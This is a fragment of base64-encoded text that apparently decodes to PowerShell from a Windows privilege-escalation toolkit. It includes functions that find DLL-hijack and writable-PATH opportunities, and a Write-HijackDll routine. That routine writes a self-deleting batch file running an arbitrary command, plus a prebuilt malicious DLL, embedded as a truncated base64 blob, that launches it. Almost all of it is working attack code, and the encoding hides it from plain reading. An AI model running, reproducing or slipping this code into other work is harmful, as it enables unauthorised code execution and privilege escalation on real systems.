VyXEtub3duRExMcyIpCiAgICAkS25vd25ETExzID0gJChGb3JFYWNoICgkbmFtZSBpbiAkS2V5cy5HZXRWYWx1ZU5hbWVzKCkpIHsgJEtleXMuR2V0VmFsdWUoJG5hbWUpIH0pIHwgV2hlcmUtT2JqZWN0IHsgJF8uRW5kc1dpdGgoIi5kbGwiKSB9CgogICAgIyBncmFiIHRoZSBjdXJyZW50IHVzZXIKICAgICRDdXJyZW50VXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCgogICAgIyBnZXQgdGhlIG93bmVycyBmb3IgYWxsIHByb2Nlc3NlcwogICAgJE93bmVycyA9IEB7fQogICAgR2V0LVdtaU9iamVjdCAtQ2xhc3Mgd2luMzJfcHJvY2VzcyB8IFdoZXJlLU9iamVjdCB7JF99IHwgRm9yRWFjaC1PYmplY3QgeyRPd25lcnNbJF8uaGFuZGxlXSA9ICRfLmdldG93bmVyKCkudXNlcn0KCgogICAgIyBpdGVyYXRlIHRocm91Z2ggYWxsIGN1cnJlbnQgcHJvY2Vzc2VzIHRoYXQgaGF2ZSBhIHZhbGlkIHBhdGgKICAgIEZvckVhY2ggKCRQcm9jZXNzIGluIEdldC1Qcm9jZXNzIHwgV2hlcmUtT2JqZWN0IHskXy5QYXRofSkgewoKICAgICAgICAjIGdldCB0aGUgYmFzZSBwYXRoIGZvciB0aGUgcHJvY2VzcwogICAgICAgICRCYXNlUGF0aCA9ICRQcm9jZXNzLlBhdGggfCBTcGxpdC1QYXRoIC1QYXJlbnQKCiAgICAgICAgIyBnZXQgYWxsIHRoZSBsb2FkZWQgbW9kdWxlcyBmb3IgdGhpcyBwcm9jZXNzCiAgICAgICAgJExvYWRlZE1vZHVsZXMgPSAkUHJvY2Vzcy5Nb2R1bGVzCgogICAgICAgICMgcHVsbCBvdXQgdGhlIG93bmVyIG9mIHRoaXMgcHJvY2VzcwogICAgICAgICRQcm9jZXNzT3duZXIgPSAkT3duZXJzWyRQcm9jZXNzLmlkLnRvc3RyaW5nKCldCgogICAgICAgICMgY2hlY2sgZWFjaCBsb2FkZWQgbW9kdWxlCiAgICAgICAgRm9yRWFjaCAoJE1vZHVsZSBpbiAkTG9hZGVkTW9kdWxlcyl7CgogICAgICAgICAgICAjIGNyZWF0ZSBhIGJhc2VwYXRoICsgbG9hZGVkIG1vZHVsZQogICAgICAgICAgICAkTW9kdWxlUGF0aCA9ICIkQmFzZVBhdGhcJCgkbW9kdWxlLk1vZHVsZU5hbWUpIgoKICAgICAgICAgICAgIyBpZiB0aGUgbmV3IG1vZHVsZSBwYXRoIAogICAgICAgICAgICBpZiAoKC1ub3QgJE1vZHVsZVBhdGguQ29udGFpbnMoIkM6XFdpbmRvd3NcU3lzdGVtMzIiKSkgLWFuZCAoLW5vdCAoVGVzdC1QYXRoIC1QYXRoICRNb2R1bGVQYXRoKSkgLWFuZCAoJEtub3duRExMcyAtTm90Q29udGFpbnMgJE1vZHVsZS5Nb2R1bGVOYW1lKSkgewoKICAgICAgICAgICAgICAgICRFeGNsdWRlID0gJEZhbHNlCgogICAgICAgICAgICAgICAgIyBjaGVjayBleGNsdXNpb24gZmxhZ3MKICAgICAgICAgICAgICAgIGlmICggJEV4Y2x1ZGVXaW5kb3dzLklzUHJlc2VudCAtYW5kICRNb2R1bGVQYXRoLkNvbnRhaW5zKCJDOlxXaW5kb3dzIikgKXsKICAgICAgICAgICAgICAgICAgICAkRXhjbHVkZSA9ICRUcnVlCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoICRFeGNsdWRlUHJvZ3JhbUZpbGVzLklzUHJlc2VudCAtYW5kICRNb2R1bGVQYXRoLkNvbnRhaW5zKCJDOlxQcm9ncmFtIEZpbGVzIikgKXsKICAgICAgICAgICAgICAgICAgICAkRXhjbHVkZSA9ICRUcnVlCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoICRFeGNsdWRlT3duZWQuSXNQcmVzZW50IC1hbmQgJEN1cnJlbnRVc2VyLkNvbnRhaW5zKCRQcm9jZXNzT3duZXIpICl7CiAgICAgICAgICAgICAgICAgICAgJEV4Y2x1ZGUgPSAkVHJ1ZQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICMgb3V0cHV0IHRoZSBwcm9jZXNzIG5hbWUgYW5kIGhpamFja2FibGUgcGF0aCBpZiBleGNsdXNpb24gd2Fzbid0IG1hcmtlZAogICAgICAgICAgICAgICAgaWYgKC1ub3QgJEV4Y2x1ZGUpewogICAgICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnUHJvY2Vzc1BhdGgnICRQcm9jZXNzLlBhdGgKICAgICAgICAgICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ093bmVyJyAkUHJvY2Vzc093bmVyCiAgICAgICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdIaWphY2thYmxlUGF0aCcgJE1vZHVsZVBhdGgKICAgICAgICAgICAgICAgICAgICAkT3V0CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICRPcmlnRXJyb3IKfQoKCmZ1bmN0aW9uIEZpbmQtUGF0aEhpamFjayB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgQ2hlY2tzIGlmIHRoZSBjdXJyZW50ICVQQVRIJSBoYXMgYW55IGRpcmVjdG9yaWVzIHRoYXQgYXJlIAogICAgICAgIHdyaXRlYWJsZSBieSB0aGUgY3VycmVudCB1c2VyLgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gRmluZC1QYXRoSGlqYWNrCgogICAgICAgIEZpbmRzIGFsbCAlUEFUSCUgLkRMTCBoaWphY2tpbmcgb3Bwb3J0dW5pdGllcy4KCiAgICAuTElOSwoKICAgICAgICBodHRwOi8vd3d3LmdyZXloYXRoYWNrZXIubmV0Lz9wPTczOAojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldCiAgICBQYXJhbSgpCgogICAgJE9yaWdFcnJvciA9ICRFcnJvckFjdGlvblByZWZlcmVuY2UKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU2lsZW50bHlDb250aW51ZSIKCiAgICAkUGF0aHMgPSAoR2V0LUl0ZW0gRW52OlBhdGgpLnZhbHVlLnNwbGl0KCc7JykgfCBXaGVyZS1PYmplY3QgeyRfIC1uZSAiIn0KCiAgICBGb3JFYWNoICgkUGF0aCBpbiAkUGF0aHMpewoKICAgICAgICAkUGF0aCA9ICRQYXRoLlJlcGxhY2UoJyInLCIiKQogICAgICAgIGlmICgtbm90ICRQYXRoLkVuZHNXaXRoKCJcIikpewogICAgICAgICAgICAkUGF0aCA9ICRQYXRoICsgIlwiCiAgICAgICAgfQoKICAgICAgICAjIHJlZmVyZW5jZSAtIGh0dHA6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvOTczNTQ0OS9ob3ctdG8tdmVyaWZ5LXdoZXRoZXItdGhlLXNoYXJlLWhhcy13cml0ZS1hY2Nlc3MKICAgICAgICAkVGVzdFBhdGggPSBKb2luLVBhdGggJFBhdGggKFtJTy5QYXRoXTo6R2V0UmFuZG9tRmlsZU5hbWUoKSkKCiAgICAgICAgIyBpZiB0aGUgcGF0aCBkb2Vzbid0IGV4aXN0LCB0cnkgdG8gY3JlYXRlIHRoZSBmb2xkZXIgYmVmb3JlIHRlc3RpbmcgaXQgZm9yIHdyaXRlCiAgICAgICAgaWYoLW5vdCAkKFRlc3QtUGF0aCAtUGF0aCAkUGF0aCkpewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgIyB0cnkgdG8gY3JlYXRlIHRoZSBmb2xkZXIKICAgICAgICAgICAgICAgICROdWxsID0gTmV3LUl0ZW0gLUl0ZW1UeXBlIGRpcmVjdG9yeSAtUGF0aCAkUGF0aAogICAgICAgICAgICAgICAgZWNobyAkTnVsbCA+ICRUZXN0UGF0aAoKICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdIaWphY2thYmxlUGF0aCcgJFBhdGgKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQWJ1c2VGdW5jdGlvbicgIldyaXRlLUhpamFja0RsbCAtT3V0cHV0RmlsZSAnJFBhdGhcd2xic2N0cmwuZGxsJyAtQ29tbWFuZCAnLi4uJyIKICAgICAgICAgICAgICAgICRPdXQKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7fQogICAgICAgICAgICBmaW5hbGx5IHsKICAgICAgICAgICAgICAgICMgcmVtb3ZlIHRoZSBkaXJlY3RvcnkKICAgICAgICAgICAgICAgIFJlbW92ZS1JdGVtIC1QYXRoICRQYXRoIC1SZWN1cnNlIC1Gb3JjZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICMgaWYgdGhlIGZvbGRlciBhbHJlYWR5IGV4aXN0cwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgZWNobyAkTnVsbCA+ICRUZXN0UGF0aAoKICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdIaWphY2thYmxlUGF0aCcgJFBhdGgKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQWJ1c2VGdW5jdGlvbicgIldyaXRlLUhpamFja0RsbCAtT3V0cHV0RmlsZSAnJFBhdGhcd2xic2N0cmwuZGxsJyAtQ29tbWFuZCAnLi4uJyIKICAgICAgICAgICAgICAgICRPdXQKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXRjaCB7fSAKICAgICAgICAgICAgZmluYWxseSB7CiAgICAgICAgICAgICAgICAjIFRyeSB0byByZW1vdmUgdGhlIGl0ZW0gYWdhaW4ganVzdCB0byBiZSBzYWZlCiAgICAgICAgICAgICAgICBSZW1vdmUtSXRlbSAkVGVzdFBhdGggLUZvcmNlIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAkT3JpZ0Vycm9yCn0KCgpmdW5jdGlvbiBXcml0ZS1IaWphY2tEbGwgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIFdyaXRlcyBvdXQgYSBzZWxmLWRlbGV0aW5nICdkZWJ1Zy5iYXQnIGZpbGUgdGhhdCBleGVjdXRlcyBhIGdpdmVuIGNvbW1hbmQgdG8KICAgICAgICAkZW52OlRlbXBcZGVidWcuYmF0LCBhbmQgd3JpdGVzIG91dCBhIGhpamFja2FibGUgLmRsbCB0aGF0IGxhdW5jaGVzIHRoZSAuYmF0LgoKICAgIC5QQVJBTUVURVIgT3V0cHV0RmlsZQoKICAgICAgICBGaWxlIG5hbWUgdG8gd3JpdGUgdGhlIC5kbGwgdG8uCgogICAgLlBBUkFNRVRFUiBDb21tYW5kCgogICAgICAgIENvbW1hbmQgdG8gcnVuIGluIHRoZSAuYmF0IGxhdW5jaGVyLgoKICAgIC5QQVJBTUVURVIgQmF0UGF0aAoKICAgICAgICBQYXRoIHRvIHRoZSAuYmF0IGZvciB0aGUgLmRsbCB0byBsYXVuY2guCgogICAgLlBBUkFNRVRFUiBBcmNoCgogICAgICAgIEFyY2hpdGV0dXJlIG9mIC5kbGwgdG8gZ2VuZXJhdGUsIHg4NiBvciB4NjQuIElmIG5vdCBzcGVjaWZpZWQsIHdpbGwgdHJ5IHRvCiAgICAgICAgYXV0b21hdGljYWxseSBkZXRlcm1pbmUuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIHBhcmFtKAogICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJE91dHB1dEZpbGUsCgogICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgIFtTdHJpbmddCiAgICAgICAgJENvbW1hbmQsCgogICAgICAgIFtTdHJpbmddCiAgICAgICAgJEJhdFBhdGgsICAgICAgICAKCiAgICAgICAgW1N0cmluZ10KICAgICAgICAkQXJjaAogICAgKQoKICAgIGZ1bmN0aW9uIGxvY2FsOkludm9rZS1QYXRjaERsbCB7CiAgICA8IwogICAgICAgIC5TWU5PUFNJUwoKICAgICAgICAgICAgUGF0Y2hlcyBhIHN0cmluZyBpbiBhIGJpbmFyeSBieXRlIGFycmF5LgoKICAgICAgICAuUEFSQU1FVEVSIERsbEJ5dGVzCgogICAgICAgICAgICBCaW5hcnkgYmxvZyB0byBwYXRjaC4KCiAgICAgICAgLlBBUkFNRVRFUiBGaW5kU3RyaW5nCgogICAgICAgICAgICBTdHJpbmcgdG8gc2VhcmNoIGZvciB0byByZXBsYWNlLgoKICAgICAgICAuUEFSQU1FVEVSIFJlcGxhY2VTdHJpbmcKCiAgICAgICAgICAgIFN0cmluZyB0byByZXBsYWNlIEZpbmRTdHJpbmcgd2l0aAogICAgIz4KCiAgICAgICAgW0NtZGxldEJpbmRpbmcoKV0KICAgICAgICBwYXJhbSgKICAgICAgICAgICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkVHJ1ZSldCiAgICAgICAgICAgIFtCeXRlW11dCiAgICAgICAgICAgICREbGxCeXRlcywKCiAgICAgICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgICAgICBbU3RyaW5nXQogICAgICAgICAgICAkRmluZFN0cmluZywKCiAgICAgICAgICAgIFtQYXJhbWV0ZXIoTWFuZGF0b3J5ID0gJFRydWUpXQogICAgICAgICAgICBbU3RyaW5nXQogICAgICAgICAgICAkUmVwbGFjZVN0cmluZwogICAgICAgICkKCiAgICAgICAgJEZpbmRTdHJpbmdCeXRlcyA9IChbc3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4KS5HZXRCeXRlcygkRmluZFN0cmluZykKICAgICAgICAkUmVwbGFjZVN0cmluZ0J5dGVzID0gKFtzeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjgpLkdldEJ5dGVzKCRSZXBsYWNlU3RyaW5nKQoKICAgICAgICAkSW5kZXggPSAwCiAgICAgICAgJFMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpBU0NJSS5HZXRTdHJpbmcoJERsbEJ5dGVzKQogICAgICAgICRJbmRleCA9ICRTLkluZGV4T2YoJEZpbmRTdHJpbmcpCgogICAgICAgIGlmKCRJbmRleCAtZXEgMCkKICAgICAgICB7CiAgICAgICAgICAgIHRocm93KCJDb3VsZCBub3QgZmluZCBzdHJpbmcgJEZpbmRTdHJpbmcgISIpCiAgICAgICAgfQoKICAgICAgICBmb3IgKCRpPTA7ICRpIC1sdCAkUmVwbGFjZVN0cmluZ0J5dGVzLkxlbmd0aDsgJGkrKykKICAgICAgICB7CiAgICAgICAgICAgICREbGxCeXRlc1skSW5kZXgrJGldPSRSZXBsYWNlU3RyaW5nQnl0ZXNbJGldCiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJERsbEJ5dGVzCiAgICB9CgogICAgIyBnZW5lcmF0ZSB3aXRoIGJhc2U2NCAtdyAwIGhpamFjazMyLmRsbCA+IGhpamFjazMyLmI2NAogICAgJERsbEJ5dGVzMzIgPSAiVFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE2QUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFBNGhsdnFmT2MxdVh6bk5ibDg1elc1WjNxZXVXWG5OYmxuZXF1NWN1YzF1V2Q2bjdrKzV6VzVkWittdVh2bk5ibDg1elM1TytjMXVXZDZtcmwvNXpXNVozcW91WDNuTmJsU2FXTm9mT2MxdVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRkJGQUFCTUFRVUFOZ0JDVmdBQUFBQUFBQUFBNEFBQ0lRc0JDZ0FBVEFBQUFFb0FBQUFBQUFCY0V3QUFBQkFBQUFCZ0FBQUFBQUFRQUJBQUFBQUNBQUFGQUFFQUFBQUFBQVVBQVFBQUFBQUFBTkFBQUFBRUFBQ0g3d0FBQWdCQUFRQUFFQUFBRUFBQUFBQVFBQUFRQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBSElRQUFGQUFBQUFBc0FBQXRBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3QUFBTUFjQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBc0lBQUFFQUFBQUFBQUFBQUFBQUFBQUJnQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUxuUmxlSFFBQUFCTVN3QUFBQkFBQUFCTUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFZQzV5WkdGMFlRQUFCQ29BQUFCZ0FBQUFMQUFBQUZBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUVBdVpHRjBZUUFBQUh3WkFBQUFrQUFBQUF3QUFBQjhBQUFBQUFBQUFBQUFBQUFBQUFCQUFBREFMbkp6Y21NQUFBQzBBUUFBQUxBQUFBQUNBQUFBaUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBUUM1eVpXeHZZd0FBcmc4QUFBREFBQUFBRUFBQUFJb0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRldMN0lQc0lLRUFrQUFRTThXSlJmeU5SZWhRYVA4QkR3RC9GUmhnQUJCUS94VUlZQUFRaGNCMUJUUEFRT3RUalVYZ1VHZ2dnQUFRYWdEL0ZRUmdBQkNGd0hUbWkwWGdhZ0NKUmZDTFJlUnFBR29RaVVYMGpVWHNVR29BLzNYb3gwWHNBUUFBQU1kRitBSUFBQUQvRlFCZ0FCQ0Z3SFN6LzNYby94VVFZQUFRTThDTFRmd3p6ZWhjQUFBQXljTldpelVVWUFBUWFQb0FBQUQvMXVoZi8vLy9oY0IxSDFCUWFEaUFBQkJvaklBQUVHaW9nQUFRVVA4VitHQUFFR2pvQXdBQS85WXp3RjdEVll2c2FBUUJBQURvSWdBQUFJdEZERWhaZFFYb3JmLy8velBBUUYzQ0RBQTdEUUNRQUJCMUF2UEQ2WWdDQUFDTC8xV0w3RjNwMGdNQUFHb0lhQUNDQUJEbzhoTUFBSXRGRElQNEFYVjY2S1lUQUFDRndIVUhNOERwT0FFQUFPaVFCd0FBaGNCMUIraXJFd0FBNitub09oTUFBUDhWSkdBQUVLTjRxUUFRNkpNU0FBQ2poSnNBRU9qQURBQUFoY0I1QitnOEJBQUE2OC9vdmhFQUFJWEFlQ0RvUHc4QUFJWEFlQmRxQU9pQ0NnQUFXWVhBZFF2L0JZQ2JBQkRwMGdBQUFPak1EZ0FBNjhrei96dkhkVnM1UFlDYkFCQitnZjhOZ0pzQUVJbDkvRGs5REo4QUVIVUY2RFFNQUFBNWZSQjFEK2ljRGdBQTZOY0RBQURvRnhNQUFNZEYvUDcvLy8vb0J3QUFBT21DQUFBQU0vODVmUkIxRG9NOVFKQUFFUDkwQmVpc0F3QUF3K3RxZy9nQ2RWbm9hd01BQUdnVUFnQUFhZ0hvcmdnQUFGbFppL0E3OXcrRURQLy8vMWIvTlVDUUFCRC9OZFNlQUJEL0ZTQmdBQkQvMElYQWRCZFhWdWlrQXdBQVdWbi9GUnhnQUJDSkJvTk9CUC9yR0ZibzdRY0FBRm5wMFA3Ly80UDRBM1VIVitqekJRQUFXVFBBUU9qaUVnQUF3Z3dBYWd4b0lJSUFFT2lPRWdBQWkvbUw4b3RkQ0RQQVFJbEY1SVgyZFF3NUZZQ2JBQkFQaE1VQUFBQ0RaZndBTy9CMEJZUCtBblV1b1RCaEFCQ0Z3SFFJVjFaVC85Q0pSZVNEZmVRQUQ0U1dBQUFBVjFaVDZFUCsvLytKUmVTRndBK0Vnd0FBQUZkV1UrajIvZi8vaVVYa2cvNEJkU1NGd0hVZ1YxQlQ2T0w5Ly85WGFnQlQ2QlArLy8raE1HRUFFSVhBZEFaWGFnQlQvOUNGOW5RRmcvNERkU1pYVmxQbzgvMy8vNFhBZFFNaFJlU0RmZVFBZEJHaE1HRUFFSVhBZEFoWFZsUC8wSWxGNU1kRi9QNy8vLytMUmVUckhZdEY3SXNJaXdsUVVlanlGQUFBV1ZuRGkyWG94MFg4L3YvLy96UEE2T29SQUFERGkvOVZpK3lEZlF3QmRRWG83UlFBQVA5MUNJdE5FSXRWRE9qcy92Ly9XVjNDREFDTC8xV0w3SUhzS0FNQUFLT2duQUFRaVEyY25BQVFpUldZbkFBUWlSMlVuQUFRaVRXUW5BQVFpVDJNbkFBUVpvd1Z1SndBRUdhTURheWNBQkJtakIySW5BQVFab3dGaEp3QUVHYU1KWUNjQUJCbWpDMThuQUFRbkk4RnNKd0FFSXRGQUtPa25BQVFpMFVFbzZpY0FCQ05SUWlqdEp3QUVJdUY0UHovLzhjRjhKc0FFQUVBQVFDaHFKd0FFS09rbXdBUXh3V1ltd0FRQ1FRQXdNY0ZuSnNBRUFFQUFBQ2hBSkFBRUltRjJQei8vNkVFa0FBUWlZWGMvUC8vL3hVMFlBQVFvK2liQUJCcUFlaW9GQUFBV1dvQS94VXdZQUFRYURSaEFCRC9GU3hnQUJDRFBlaWJBQkFBZFFocUFlaUVGQUFBV1dnSkJBREEveFVZWUFBUVVQOFZLR0FBRU1uRHh3RkFZUUFRNlNrVkFBQ0wvMVdMN0ZhTDhjY0dRR0VBRU9nV0ZRQUE5a1VJQVhRSFZ1aVNGUUFBV1l2R1hsM0NCQUNMLzFXTDdGYi9kUWlMOGVna0ZRQUF4d1pBWVFBUWk4WmVYY0lFQUl2L1ZZdnNnK3dRNnczL2RRam9ReGNBQUZtRndIUVAvM1VJNkpNV0FBQlpoY0IwNXNuRDlnWEluZ0FRQWIrOG5nQVF2a0JoQUJCMUxJTU55SjRBRUFGcUFZMUYvRkNMejhkRi9FaGhBQkRvMUJNQUFHZzRXd0FRaVRXOG5nQVE2RGNXQUFCWlY0MU44T2lwRkFBQWFEeUNBQkNOUmZCUWlYWHc2UDRXQUFETWFnRC9GVGhnQUJERC94VThZQUFRd2dRQWkvOVcvelZFa0FBUS94VkFZQUFRaS9DRjluVWIvelhRbmdBUS94VWdZQUFRaS9CVy96VkVrQUFRL3hWRVlBQVFpOFpldzZGQWtBQVFnL2ovZEJaUS96WFluZ0FRL3hVZ1lBQVEvOUNERFVDUUFCRC9vVVNRQUJDRCtQOTBEbEQvRlVoZ0FCQ0REVVNRQUJELzZSQVhBQUJxQ0dpUWdnQVE2QjBQQUFCb1dHRUFFUDhWVUdBQUVJdDFDTWRHWE1oaEFCQ0RaZ2dBTS85SGlYNFVpWDV3eG9iSUFBQUFROGFHU3dFQUFFUEhSbWdZbEFBUWFnM285aGNBQUZtRFpmd0EvM1pvL3hWTVlBQVF4MFg4L3YvLy8rZytBQUFBYWd6bzFSY0FBRm1KZmZ5TFJReUpSbXlGd0hVSW9SQ1VBQkNKUm16L2Rtem82aGNBQUZuSFJmeisvLy8vNkJVQUFBRG8wdzRBQU1Nei8wZUxkUWhxRGVpK0ZnQUFXY05xRE9pMUZnQUFXY09MLzFaWC94VllZQUFRL3pWQWtBQVFpL2pveFA3Ly8vL1FpL0NGOW5WT2FCUUNBQUJxQWVqL0F3QUFpL0JaV1lYMmREcFcvelZBa0FBUS96WFVuZ0FRL3hVZ1lBQVEvOUNGd0hRWWFnQlc2UGorLy85WldmOFZIR0FBRUlOT0JQK0pCdXNKVnVoQkF3QUFXVFAyVi84VlZHQUFFRitMeGw3RGkvOVc2SC8vLy8rTDhJWDJkUWhxRU9qZUJnQUFXWXZHWHNOcUNHaTRnZ0FRNk5ZTkFBQ0xkUWlGOWcrRStBQUFBSXRHSklYQWRBZFE2UFFDQUFCWmkwWXNoY0IwQjFEbzVnSUFBRm1MUmpTRndIUUhVT2pZQWdBQVdZdEdQSVhBZEFkUTZNb0NBQUJaaTBaQWhjQjBCMURvdkFJQUFGbUxSa1NGd0hRSFVPaXVBZ0FBV1l0R1NJWEFkQWRRNktBQ0FBQlppMFpjUGNoaEFCQjBCMURvandJQUFGbHFEZWhvRmdBQVdZTmwvQUNMZm1pRi8zUWFWLzhWWEdBQUVJWEFkUStCL3hpVUFCQjBCMWZvWWdJQUFGbkhSZnorLy8vLzZGY0FBQUJxRE9ndkZnQUFXY2RGL0FFQUFBQ0xmbXlGLzNRalYramNGZ0FBV1RzOUVKUUFFSFFVZ2Y4NGt3QVFkQXlEUHdCMUIxZm9XUmNBQUZuSFJmeisvLy8vNkI0QUFBQlc2QW9DQUFCWjZCTU5BQURDQkFDTGRRaHFEZWovRkFBQVdjT0xkUWhxRE9qekZBQUFXY09MLzFXTDdJTTlRSkFBRVA5MFM0TjlDQUIxSjFiL05VU1FBQkNMTlVCZ0FCRC8xb1hBZEJQL05VQ1FBQkQvTlVTUUFCRC8xdi9RaVVVSVhtb0EvelZBa0FBUS96WFVuZ0FRL3hVZ1lBQVEvOUQvZFFqb2VQNy8vNkZFa0FBUWcvai9kQWxxQUZEL0ZVUmdBQkJkdzR2L1YyaFlZUUFRL3hWUVlBQVFpL2lGLzNVSjZNYjgvLzh6d0YvRFZvczFZR0FBRUdpVVlRQVFWLy9XYUloaEFCQlhvOHllQUJELzFtaDhZUUFRVjZQUW5nQVEvOVpvZEdFQUVGZWoxSjRBRVAvV2d6M01uZ0FRQUlzMVJHQUFFS1BZbmdBUWRCYURQZENlQUJBQWRBMkRQZFNlQUJBQWRBU0Z3SFVrb1VCZ0FCQ2owSjRBRUtGSVlBQVF4d1hNbmdBUVhSVUFFSWsxMUo0QUVLUFluZ0FRL3hVOFlBQVFvMFNRQUJDRCtQOFBoTUVBQUFEL05kQ2VBQkJRLzlhRndBK0VzQUFBQU9nZUFnQUEvelhNbmdBUWl6VTRZQUFRLzliL05kQ2VBQkNqeko0QUVQL1cvelhVbmdBUW85Q2VBQkQvMXY4MTJKNEFFS1BVbmdBUS85YWoySjRBRU9qWUVnQUFoY0IwWTRzOUlHQUFFR2dlRndBUS96WE1uZ0FRLzlmLzBLTkFrQUFRZy9qL2RFUm9GQUlBQUdvQjZNRUFBQUNMOEZsWmhmWjBNRmIvTlVDUUFCRC9OZFNlQUJELzEvL1FoY0IwRzJvQVZ1aSsrLy8vV1ZuL0ZSeGdBQkNEVGdUL2lRWXp3RURyQitocCsvLy9NOEJlWDhPTC8xV0w3SU45Q0FCMExmOTFDR29BL3pVZ29BQVEveFZrWUFBUWhjQjFHRmJvMUI0QUFJdncveFZZWUFBUVVPaUVIZ0FBV1lrR1hsM0RpLzlWaSt4V1Z6UDIvM1VJNkFVUkFBQ0wrRm1GLzNVbk9RWGNuZ0FRZGg5Vy94VVVZQUFRallib0F3QUFPd1hjbmdBUWRnT0R5UCtMOElQNC8zWEtpOGRmWGwzRGkvOVZpK3hXVnpQMmFnRC9kUXovZFFqb2VCNEFBSXY0ZzhRTWhmOTFKemtGM0o0QUVIWWZWdjhWRkdBQUVJMkc2QU1BQURzRjNKNEFFSFlEZzhqL2kvQ0QrUDkxdzR2SFgxNWR3NHYvVll2c1ZsY3o5djkxRFA5MUNPaXdIZ0FBaS9oWldZWC9kU3c1UlF4MEp6a0YzSjRBRUhZZlZ2OFZGR0FBRUkyRzZBTUFBRHNGM0